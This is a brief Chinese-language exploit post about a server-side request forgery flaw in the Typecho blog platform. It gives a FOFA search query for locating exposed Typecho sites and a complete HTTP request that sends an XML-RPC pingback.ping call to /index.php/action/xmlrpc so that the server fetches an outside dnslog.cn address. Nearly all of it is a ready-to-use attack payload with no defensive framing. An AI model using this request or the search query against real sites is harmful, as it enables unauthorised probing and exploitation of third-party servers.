Typecho存在SSRF漏洞

搜索语句
“`
fofa：”Typecho”

### POC&EXP
“`

POST /index.php/action/xmlrpc HTTP/1.1

Content-Length: 263

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36

Host:

Connection: Keep-alive

<methodCall>

<methodName>pingback.ping</methodName>

<params>

<param>

<value><string>http://dnslog.cn/</string></value>

</param>

<param>

<value><string>http://192.168.160.147/index.php/archives/10/</string></value>

</param>

</params>

</methodCall>“`